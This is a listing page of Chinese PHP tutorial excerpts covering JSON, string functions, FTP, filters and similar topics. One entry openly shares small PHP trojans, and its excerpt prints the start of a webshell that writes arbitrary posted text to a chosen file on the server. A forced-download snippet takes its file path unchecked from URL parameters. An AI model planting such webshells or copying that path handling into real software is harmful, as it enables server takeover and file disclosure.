-
JSON在PHP中的应用技巧小结
本文为大家讲解的是关于JSON在PHP中的应用技巧小结,感兴趣的同学参考下. JSON 基础 简单地说,JSON 可以将 JavaScript 对象中表示的一组数据转换为字符串,然后就可以在函数之间轻松地传递这个字符串,或者在异步应用程序中将字符串从 Web 客户机传递给服务器端程序。这个字符串看起来有点儿古怪(稍后会看到几个示例),但是 JavaScript 很容易解释它,而且 JSON 可以表示比名称/值对更复杂的结构...
PHP 2014-12-16 09:45:18 -
PHP 八种基本的数据类型小结
本文为大家讲解的是PHP 八种基本的数据类型小结,感兴趣的同学参考下。 四种标量类型: boolean (布尔型) integer (整型) float (浮点型, 也称作 double) string (字符串) 两种复合类型: array (数组) object (对象) 最后是两种特殊类型: resource (资源) NULL (NULL) 为了确保代码的易读性,本手册还介绍了一些伪类型: mixed number callback 以及伪变量 $.... 可能还会读到一些关于“双精度(double)”类型的参考...
PHP 2014-12-16 09:39:16 -
php截取字符串函数substr,iconv_substr,mb_substr示例以及优劣分析
本文为大家讲解的是php截取字符串函数substr,iconv_substr,mb_substr示例以及优劣分析,php进行中文字符串的截取时,会经常用到二个函数iconv_substr和mb_substr,对这二个函数应该如何选择呢?参考下本文介绍的例子就明白了。 示例代码,用到了函数substr与iconv_substr,mb_substr <html> <head><meta charset='utf-8'> <title>截取中文字符串_脚本之家_www.jb51.net</title> </head> <body> <?php $str='123phperz 456欢迎大家的光临'; echo substr($str,0,4); echo '<br>'; echo iconv_substr($str,0,4,'utf-8'); echo '<br>'...
PHP 2014-12-16 09:33:25 -
php实现事件监听与触发的方法
本文为大家讲解的是一个php实现事件监听与触发的方法,可实现时间的绑定、触发与注销等功能,具有一定的参考借鉴价值,需要的朋友可以参考下 本文实例讲述了php实现事件监听与触发的方法。分享给大家供大家参考...
PHP 2014-12-16 09:15:04 -
php实现的过滤表单提交的html等危险代码
本文是一个php实现的过滤表单提交的html等危险代码 ,表单提交如果安全做得不好就很容易因为这个表单提交导致网站被攻击了,下面我来分享两个常用的php过滤表单提交的危险代码的实例,各位有需要的朋友可参考。 PHP过滤提交表单的html代码里可能有被利用引入外部危险内容的代码...
PHP 2014-12-16 08:57:04 -
深入理解PHP原理之Session Gc的一个小概率Notice
PHP Notice: session_start(): ps_files_cleanup_dir 如果在ubuntu/Debian下, 采用apt安装的PHP, 那么在使用Session的时候, 就可能会有小概率遇到这个提示. PHP Notice: session_start(): ps_files_cleanup_dir: opendir(/var/lib/php5) failed: Permission denied (13) in /home/laruence/www/htdocs/index...
PHP 2014-12-16 08:54:05 -
php使用ICQ网关发送手机短信示例
本文为大家提供的是一个php使用ICQ网关发送手机短信示例,感兴趣的同学参考下. 通过ICQ网关发送手机短信的php源程序 <? //########################################################### // // For questions and comments // Roland (alias -=: Vlieg :=-) // icq #78354631 // mail: vlieg@atoomnet...
PHP 2014-12-16 08:45:11 -
php 过滤器实现代码
本文为大家讲解的是php 过滤器的实现代码示例,感兴趣的同学参考下。 在以前,PHP需要验证数据,一般都是程序员自己通过正则表达式实现,而从PHP从5.2开始把原本的PCEL中的filter函数移到了内置库中,并做了不少强化,可以用这些函数实现对数据的过滤和验证...
PHP 2014-12-16 08:42:05 -
几个php小马分享(木马)
本文为大家整理了几个php小马分享(木马),感兴趣的同学参考下. 我也来个超小PHP小马 <?php header("content-Type: text/html; charset=gb2312"); if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v); ?> <form method="POST"> 保存文件名: <input type="text" name="file" size="60" value="<? echo str_replace('\','/',__FILE__) ?>"> <br><br> <textarea name="text" COLS="70&qu...
PHP 2014-12-16 08:39:05 -
php使用json_encode对变量进行json编码示例
本文为大家讲解的是php使用json_encode对变量进行json编码示例,感兴趣的同学参考下. 这篇文章主要是说明 json_encode 使用时一个需要注意的细节,无论返回的是数组还是 json,都不代表这一定就是个错误的返回结果,当前端需要的数组时,数组就是正确的结果,反之亦然 在 ajax 横行的今天,json 顺理成章地成为了前后端交互一个极其重要的工具。对于 PHP 来说,通常使用 json_encode 方法将一个 PHP 组数,转换成前端可以解析的 json 字符串,这也是 PHP 手册上描述的内容,但事实是这样的吗?看看下面这段代码: $a = array( 'Jack' , 'Sam' , 'Tom' ); echo json_encode( $a ); 当 JavaScript 请求到上面的代码,PHP 将解析数组 $a 为 json 字符串并返回到前端,但事实上在前端拿到的返回结果却是一个数组...
PHP 2014-12-16 08:36:08 -
php实现文件强制下载的方法
本文是一个php实现的可以让文件强制下载的方法示例代码,比如文本文件,浏览器默认会打开而不是下载,本文可以让他强制下载,感兴趣的同学参考下。 <? if( empty($_GET['FileName'])|| empty($_GET['FileDir'])|| empty($_GET['FileId'])){ echo'<script> alert("非法连接 !"); location.replace ("index.php") </script>'; exit(); } $file_name=$_GET['FileName']; $file_dir=$_GET['FileDir']; $FileId=$_GET['FileId']; $file_dir = $file_dir."/"; if (!file_exists($file_dir.$file_nam...
PHP 2014-12-16 08:30:04 -
php中ftp_chdir与ftp_cdup函数用法详解
本文为大家讲解的是php中ftp_chdir与ftp_cdup函数用法,以实例形式讲述了PHP中的FTP目录操作技巧,需要的朋友可以参考下 ftp_chdir()函数 若成功,则返回 true,否则返回 false,如果切换目录失败,php还会发出一条警告. 语法:ftp_chdir(ftp_connection,directory) 参数 描述 ftp_connection 必需,规定要使用的 ftp 连接,ftp 连接的标识符. directory 必需,规定要切换到的目录. //设置基础连接 $conn_id=ftp_connect($ftp_server); //用指定用户名密码登录到ftp服务器 $login_result=ftp_login($conn_id,$ftp_user_name,$ftp_user_pass); //检查连接是否成功 if((!$conn_id)||(!$login_result)) {...
PHP 2014-12-16 08:27:03